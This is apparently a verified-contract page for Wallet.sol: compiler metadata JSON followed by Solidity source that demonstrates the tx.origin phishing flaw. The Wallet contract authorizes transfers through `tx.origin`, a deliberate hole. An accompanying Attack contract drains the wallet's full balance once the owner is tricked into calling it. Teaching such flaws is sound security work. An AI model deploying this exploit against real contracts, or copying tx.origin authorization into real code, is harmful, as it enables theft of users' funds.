{
"internalType": "uint256",
"name": "_amount",
"type": "uint256"
}
],
"name": "transfer",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/Wallet.sol": "Wallet"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/Wallet.sol": {
"keccak256": "0x4e4a4d427794da671f332481e5889200eacae534846d273dd01c453769cb647b",
"license": "MIT",
"urls": [
"bzz-raw://f9a751db35ec6e8d93bf7483ff6d7421a61b93c8470841516d3ddd15b8b502ac",
"dweb:/ipfs/QmbzLTdvpAg7TmyijBYjKYvtsZHzWSwwRrKHKf6ES4Vs4j"
]
}
},
"version": 1
}
Raw
contracts...Wallet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
contract Wallet {
address public owner;
constructor() payable {
owner = msg.sender;
}
// Alice -> Wallet.transfer() (tx.origin = Alice)
// Alice -> Eve's malicious contract -> Wallet.transfer() (tx.origin = Alice)
function transfer(address payable _to, uint _amount) public {
require(tx.origin == owner, "Not owner");
(bool sent, ) = _to.call{value: _amount}("");
require(sent, "Failed to send Ether");
}
function getBalance() public view returns(uint) {
return address(this).balance;
}
}
contract Attack {
address payable public owner;
Wallet wallet;
constructor(Wallet _wallet) {
wallet = Wallet(_wallet);
owner = payable(msg.sender);
}
function attack() public {
wallet.transfer(owner, address(wallet).balance);
}
}
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